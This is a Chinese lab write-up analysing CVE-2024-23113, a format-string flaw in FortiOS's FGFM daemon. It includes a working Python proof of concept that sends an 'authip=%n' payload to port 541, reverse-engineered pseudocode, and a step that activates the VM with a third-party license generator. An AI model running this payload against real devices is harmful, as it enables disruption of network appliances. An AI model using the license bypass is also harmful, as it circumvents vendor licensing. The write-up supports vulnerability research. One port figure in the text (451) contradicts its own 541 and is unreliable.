介质下载 可见大善人:Fortinet FortiOS
配置基础 可见:VMware虚拟机安装FortiGate永久试用版并配置强制门户
漏洞信息 CVE-2024-23113 是 Fortinet 产品中发现的一个严重漏洞,涉及格式化字符串错误。该漏洞允许攻击者通过特制数据包执行未经授权的代码或命令,影响范围包括多个 Fortinet 产品和版本。
漏洞描述
此漏洞源于 Fortinet FortiOS、FortiProxy、FortiPAM 和 FortiSwitchManager 中使用外部控制的格式化字符串。攻击者可以利用该漏洞发送特制数据包,从而在目标系统上执行任意代码或命令。漏洞的关键点在于未正确处理格式化字符串,导致潜在的代码注入风险。
受影响的版本
FortiOS: 7.0.0 至 7.0.13、7.2.0 至 7.2.6、7.4.0 至 7.4.2
FortiProxy: 7.0.0 至 7.0.14、7.2.0 至 7.2.8、7.4.0 至 7.4.2
FortiPAM: 1.0.0 至 1.0.3、1.1.0 至 1.1.2、1.2.0
FortiSwitchManager: 7.0.0 至 7.0.3、7.2.0 至 7.2.3
虚拟机初始化 下载介质:FFW_VM64-v7.4.0.F-build2360-FORTINET.out.ovf.zip
提取其中的所有文件并用 virtualbox 创建虚拟机启动
默认用户名:admin ,没有密码所以直接 Enter,初次登录会让你重新设置密码。
登录成功后可见提示符:
配置网卡:
选择设置 -> 网络 -> 连接到仅主机的网络,选一张自己创建的虚拟网卡,无 DHCP 服务器,IP 设置一个常见的就行。
现在在虚拟机内执行:
配置网卡:
1 2 3 4 5 6 config system interface edit port1set mode staticset ip 192.168.0.250 255.255.255.0 set allowaccess http https ping ssh end
配置网关:
1 2 3 4 5 6 config router static edit 1set gateway 192.168.0.1set device port1set dst 0.0.0.0/0 end
配置局域网 现在配置你的攻击机也具有和靶机一样的网卡,方法和前面一样。
尝试 ping:
1 2 3 4 5 6 7 8 9 10 ╰─ ping 192.168.0.250 PING 192.168.0.250 (192.168.0.250) 56(84) bytes of data. 64 bytes from 192.168.0.250: icmp_seq=1 ttl=255 time=1.37 ms 64 bytes from 192.168.0.250: icmp_seq=2 ttl=255 time=0.594 ms 64 bytes from 192.168.0.250: icmp_seq=3 ttl=255 time=0.904 ms 64 bytes from 192.168.0.250: icmp_seq=4 ttl=255 time=0.571 ms ^C --- 192.168.0.250 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3016ms rtt min/avg/max/mdev = 0.571/0.860/1.374/0.324 ms
应该可以 ping 通。
激活 fortigate 见:fgt-gadgets
在 fortigate 虚拟机中设置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 config system central-management set mode normal set type fortimanager set fmg <FDS server's ip address> config server-list edit 1 set server-type update rating set server-address <FDS server' s ip address> end set fmg-source-ip <FortiGate's ip address> set include-default-servers disable set vdom root end
在 fgt-gadgets/license_gadget/base license/old 目录下执行:
1 python3 ./license_old.py
即可生成许可证,将许可证复制给宿主机。
开启验证服务器:
现在在宿主机浏览器访问 192.168.0.250 (你自己设置的 Fortigate 地址)
使用默认账号 admin:你的密码 登录
点击 upload 上传刚刚生成的许可证
此时 Fortigate 虚拟机会自动重启,重启后登录提示的 serial number is 后面的数据会改变代表激活完成
准备POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import socketimport sslimport structdef check_vulnerability (hostname ): context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) context.check_hostname = False context.verify_mode = ssl.CERT_NONE context.options |= ssl.OP_NO_COMPRESSION with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.settimeout(5 ) try : sock.connect((hostname, 541 )) except socket.error as e: print (f"[-] Could not connect to {hostname} : {e} " ) return False try : with context.wrap_socket(sock, server_hostname=hostname, suppress_ragged_eofs=True ) as ssock: initial_data = ssock.recv(1024 ) if not initial_data: print ("[-] No initial data received from server." ) return False if len (initial_data) >= 8 : pkt_flags = struct.unpack('i' , initial_data[:4 ])[0 ] pkt_len = struct.unpack('i' , initial_data[4 :8 ])[0 ] - 2 else : print ("[-] Initial data received is too short." ) return False payload = ssock.recv(pkt_len - 8 ) if len (payload) < pkt_len - 8 : print ("[-] Incomplete payload received." ) return False format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00" packet = b'' packet += 0x0001e034 .to_bytes(4 , 'little' ) packet += (len (format_string_payload) + 8 ).to_bytes(4 , 'big' ) packet += format_string_payload ssock.send(packet) response = ssock.recv(1024 ) if response: print ("[+] Device is likely not vulnerable - received response." ) return False else : print ("[+] No response received - further analysis needed." ) return False except ssl.SSLError as ssl_err: if "tlsv1 alert" in str (ssl_err).lower() or "unexpected message" in str (ssl_err).lower(): print (f"[+] Device {hostname} might be vulnerable. Connection aborted as expected." ) return True else : print (f"[-] Unexpected SSL error: {ssl_err} " ) return False except socket.error as sock_err: print (f"[-] Socket error: {sock_err} " ) return False def main (): while True : hostname = input ("Enter the hostname to check (or 'exit' to quit): " ) if hostname.lower() == 'exit' : break is_vulnerable = check_vulnerability(hostname) if is_vulnerable: print (f"[!] Warning: {hostname} is vulnerable!" ) else : print (f"[+] {hostname} appears to be patched." )if __name__ == "__main__" : main()
保存为 POC-CVE-2024-23113.py
开启 FGFM 服务:
在 Fortigate 虚拟机中执行:
1 2 3 config system interface edit port1set allowaccess ping https ssh fgfm
在攻击机执行 POC:
1 2 3 4 python3 ./POC-CVE-2024-23113.py Enter the hostname to check (or 'exit' to quit): 192.168.0.250 [+] Device 192.168.0.250 might be vulnerable. Connection aborted as expected. [!] Warning: 192.168.0.250 is vulnerable!
此时表示目标易受攻击
payload 的核心就是:
1 2 3 4 5 format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00" packet = b'' packet += 0x0001e034 .to_bytes(4 , 'little' ) packet += (len (format_string_payload) + 8 ).to_bytes(4 , 'big' ) packet += format_string_payload
这一段。
为了整明白为什么要发送这一段,我们需要提取 Fortigate 的主服务。
提取文件系统 首先将其的虚拟机硬盘 FortiFirewall-VM64-ZNTA.vapp.ovf 挂载到攻击机上
查看硬盘是否被系统识别:
1 2 3 4 5 6 7 8 9 10 lsblk ... sda 8:0 0 100G 0 disk ├─sda1 8:1 0 1M 0 part └─sda2 8:2 0 100G 0 part / sdb 8:16 0 2G 0 disk ├─sdb1 8:17 0 256M 0 part ├─sdb2 8:18 0 1.7G 0 part └─sdb3 8:19 0 64M 0 part ...
我这里是 sdb
创建挂载点:
1 2 3 sudo mkdir -p /mnt/fortios/sdb1sudo mkdir -p /mnt/fortios/sdb2sudo mkdir -p /mnt/fortios/sdb3
挂载到文件系统:
1 sudo mount /dev/sdb1 /mnt/fortios/sdb1
其实只需要挂载这一块就行了
查看文件:
1 2 3 4 ls /mnt/fortios/sdb1 boot datafs.tar.gz.bak extlinux.conf flatkc ldlinux.c32 rootfs.gz boot.msg datafs.tar.gz.chk extract.flag flatkc.chk ldlinux.sys rootfs.gz.chk datafs.tar.gz datafs.tar.gz.chk.bak filechecksum image.src lost+found
处理 rootfs.gz
1 2 3 sudo cp /mnt/fortios/sdb1/rootfs.gz ./ gunzip ./rootfs.gz cpio -idmv < rootfs 2>&1 >/dev/null
不出意外当前显示如下:
1 2 3 ls bin.tar.xz data dev fortidev lib migadmin.tar.xz proc sbin tmp usr.tar.xz boot data2 etc init lib64 node-scripts.tar.xz rootfs sys usr var
解压 bin.tar.xz :
进入 bin 后我们发现其大量的二进制都指向 /bin/init
逆向程序 将其复制出来并放入 ida,注意到 payload 中有 authip ,我们可以使用字符串搜索然后查看交叉引用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __fastcall sub_AF7E30 (__int64 a1, __int64 a2) { __int64 v3; FILE *v4; FILE *v5; const char *v6; int v7; int v8; int v9; v3 = sub_B0E840(a2, "authip" ); if ( v3 || (v3 = sub_B0E840(a2, "fmg_fqdn" )) != 0 || (v3 = sub_B0E840(a2, "mgmtip" )) != 0 ) snprintf ((a1 + 204 ), 0x7F uLL, *(v3 + 8 )); v4 = sub_B0E840(a2, "mgmtport" ); if ( v4 ) { *(a1 + 332 ) = strtol(v4->_IO_read_ptr, 0LL , 10 ); v4 = fopen("/tmp/fmg_detect" , "w+" ); v5 = v4; if ( v4 ) { v6 = *(a1 + 784 ); if ( !v6 ) v6 = "NULL" ; fputs (v6, v4); if ( nCfg_debug_zone[145 ] >= 0 ) { sub_2047D40(32 , "FGFMs: serial no %s saved to FMG detect file\n" , *(a1 + 784 ), v7, v8, v9); LODWORD(v4) = fclose(v5); } else { if ( (dword_42D5900 & 0x20 ) != 0 ) fprintf (stderr , "FGFMs: serial no %s saved to FMG detect file\n" , *(a1 + 784 )); LODWORD(v4) = fclose(v5); } } } return v4; }
只有这一个地方用到了 authip 这个字符串
漏洞就是 snprintf((a1 + 204), 0x7FuLL, *(v3 + 8));这一段,这是一个字符串格式化漏洞
然后看见下面的报错我们也可以知道这个服务和 FGFM 有关。
关于 FGFM:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 这份文档是 Fortinet 官方发布的 FortiGate / FortiManager 7.4 Communications Protocol Guide(通信协议指南)。它详细阐述了 FortiGate 防火墙与 FortiManager 管理平台之间用于管理和通信的专有协议——FGFM (FortiGate/FortiManager) 的工作原理、安全机制及故障恢复逻辑。 以下是对该文档核心内容的深度解析: 协议基础与功能 FGFM 协议基于 SSL/TLS 加密,运行在 TCP 端口之上。 端口配置:IPv4 默认使用 TCP/541;IPv6 使用 TCP/542。 核心功能:该协议专门负责管理流量,包括: 双向可达性状态检测(心跳)。 配置下发与检索。 脚本推送。 通过 RTM 进行 JSON 监控。 例外情况:防病毒(AV)、入侵防御(IPS)特征库下载及固件更新等流量,由 FortiGuard 协议处理(通常使用 UDP 9443),而非 FGFM。 通信机制与心跳逻辑 通信由 FortiGate 主动发起,连接 FortiManager 的监听端口。 心跳机制: FortiGate 每 120秒 向 FortiManager 发送一次 Keep-Alive 消息。 如果 FortiManager 连续 3次(即 360秒/6分钟)未收到心跳,则判定设备离线。 自动更新触发:心跳消息中包含设备的版本信息。如果 FortiManager 检测到 FortiGate 的版本较旧,会通过心跳消息通知 FortiGate,随后 FortiGate 会主动从 FortiManager 拉取更新(Pull 模式),而非 FortiManager 推送。 安全认证与加密 FGFM 协议设计了严格的双向认证和加密机制,以防止中间人攻击。 证书验证:使用设备 BIOS 中烧录的出厂证书,防止证书被篡改或伪造。 认证流程: FortiGate 建立 SSL 连接。 FortiManager 发送证书。 FortiGate 验证证书中的序列号是否与本地信任列表匹配。 信任列表:FortiGate 维护一个最多 10 个条目的本地信任列表(Local Trusted List),仅接受列表中 FortiManager 的管理。 加密套件:支持自定义加密算法,推荐使用 High 级别(如 ECDHE-RSA-AES256-GCM-SHA384),并支持防御 Logjam 等降级攻击。 拓扑支持与隧道技术 文档详细描述了不同网络环境下的通信建立方式: 拓扑场景 通信发起方 关键逻辑 FortiGate 有公网 IP FortiManager 管理员在 FMG 配置 FGT IP,FMG 主动发起连接。 FortiGate 在 NAT 后 FortiGate FGT 主动连接 FMG;若检测到 FGT 在 NAT 后,FMG 会分配内部 IP。 双方均有公网 IP 任意 支持双向连接,通常由管理员配置决定。 双方均在 NAT 后 需配置 VIP 需要在一侧配置虚拟 IP (Virtual IP) 以打通连接。 隧道隔离:为了防止管理流量泄露,协议在设备内部使用 TUN 虚拟设备。所有管理流量在 FGFM 守护进程中解封装后直接进入 TUN 接口,与设备上的其他业务流量完全隔离。 核心亮点:配置回滚与恢复 (Rollback) 这是 FGFM 协议中最关键的保护机制,旨在防止错误的配置导致设备失联。 原子操作:配置安装分为两步:先应用 set 命令(仅在内存中生效,未写入文件),然后测试连接。 恢复逻辑: 如果连接断开,设备尝试应用 unset 命令回退更改。 如果连接仍未恢复,设备将在 15分钟(900秒) 后自动重启。 重启后,设备从配置文件中恢复旧的配置(Rollback),确保管理连接恢复。 硬编码计时器:这 15 分钟的等待时间是硬编码在系统中的,无法通过配置修改或禁用,是防止“变砖”的最后一道防线。 总结 该文档展示了 Fortinet 在集中化管理中的工程严谨性。FGFM 协议不仅通过 SSL 和 BIOS 证书保证了通信安全,更通过内存级配置测试和强制回滚机制,解决了远程管理中最棘手的“失联风险”问题。对于运维人员而言,理解心跳间隔和回滚机制对于排查设备离线和配置失败问题至关重要。 ### 借用前人的智慧 ### 来自 https://blog.akyuu.space/2026/03/31/CVE/CVE-2024-23113/
简单来说 FGFM 是 Fortinet 公司的一个自研协议,用于 FortiManager 集中管理多台 FortiGate 设备
默认使用 TCP 451 端口(IPv6 452端口)
可以根据 POC 简单分析一下协议
首先靶机的541经过 SSL/TLS 握手后会主动发送初始的数据包:
left
right
flags (4字节)
payload_len (4字节)
payload (payload_len - 2 字节)
校验位(2字节)
攻击机返回数据包:
left
right
flags (4字节)[0x0001e034]
package_len (4字节)[len(format_string_payload) + 8]
payload (len(format_string_payload)) [reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00]
攻击调用链 1 2 3 4 5 6 7 sub_B19760 (处理新连接) └─ sub_B196B0 (会话创建) └─ sub_B18F30 (会话初始化/认证) └─ sub_B193F0 (数据包处理) └─ sub_AF9440 (客户端/服务器通信) └─ sub_AF8920 (网络请求处理) └─ sub_AF7E30 (配置获取/序列号保存)
新连接到达 → sub_B19760 接受连接
会话建立 → sub_B196B0 创建会话,注册回调 sub_B18F30
认证触发 → sub_B18F30 发送auth请求,设置状态 (a1+392)=1
数据包处理 → sub_B193F0 根据包类型(type=0)调用 sub_AF9440
认证响应 → sub_AF9440 解析”auth”请求,调用 sub_AF8920
配置处理 → sub_AF8920 处理auth响应,调用 sub_AF7E30
目标函数 → sub_AF7E30 保存FMG序列号到文件
整体调用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 main (0 x453CC0) └─ sub_44AF30 (0 x44AF30) - 通用函数分发器 └─ [fgfmsd 入口] (通过函数表跳转) └─ sub_B0CF30 (0 xB0CF30) - 主初始化函数 └─ sub_B1BDE0 (0 xB1BDE0) - 服务器初始化 └─ sub_B19CB0 (0 xB19CB0) - IPv4 监听 └─ sub_B19E90 (0 xB19E90) - IPv6 监听 └─ sub_B19760 (0 xB19760) - 接受新连接 └─ sub_B196B0 (0 xB196B0) - 会话创建 └─ sub_B18F30 (0 xB18F30) - 会话初始化/认证 └─ sub_B193F0 (0 xB193F0) - 数据包处理 └─ sub_AF9440 (0 xAF9440) - 通信处理 └─ sub_AF8920 (0 xAF8920) - 请求处理 └─ sub_AF7E30 (0 xAF7E30) - 配置获取
main函数 (0x453CC0)
- 检查启动参数,判断是/bin/init还是守护进程
- 如果是守护进程模式,调用sub_44AF30
函数分发器 (0x44AF30)
- 获取程序名(basename)
- 在全局函数表s2中查找匹配项
- 跳转到fgfmsd的入口函数sub_B0CF30
主初始化 (0xB0CF30)
- 设置信号处理程序
- 写入PID到/var/run/fgfmd.pid
- 调用sub_B1BDE0初始化服务器
服务器初始化 (0xB1BDE0)
- 分配内存池
- 调用sub_B19CB0和sub_B19E90启动监听
- 将自己存储到全局变量qword_494F1C8
连接处理 (0xB19760)
- 接受新连接
- 验证源IP
- 创建会话并注册回调
会话处理链
- sub_B196B0 → sub_B18F30 → sub_B193F0
- 最终调用到目标函数sub_AF7E30
关键全局变量
qword_494F1C8:存储服务器主结构体,包含所有会话和配置信息
byte_494EF20:配置标志位,控制服务器行为
附加 不过经过实际测试后主程序也就是 init 并没有因为我们的攻击而宕机,看了一下原因大概是因为 libc 可能在编译时添加了编译选项-D_FORTIFY_SOURCE=2,检查到 %n 就拦截报错。
见伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 case 'n' : v49 = v181; if ( v181 ) { v23 = v182; if ( !v182 ) { v17 = 4 * j_wcslen(v180) + 4 ; v182 = _readonly_area(v180, v17); } v47 = v182; if ( (v182 & 0x80000000 ) != 0 ) _libc_fatal("*** %n in writable segment detected ***\n" , (_QWORD *)v17); } v110 = (_QWORD *)v195[v54[12 ]].m128i_i64[0 ]; v17 = (unsigned int )v187; if ( (_DWORD)v187 ) { v21 = v41; *v110 = v41; }
当-D_FORTIFY_SOURCE=2开启时v181将会被置位为1,_readonly_area这个函数检查到目标区域为可写时会返回负数,从而最终执行_libc_fatal("*** %n in writable segment detected ***\n", (_QWORD *)v17);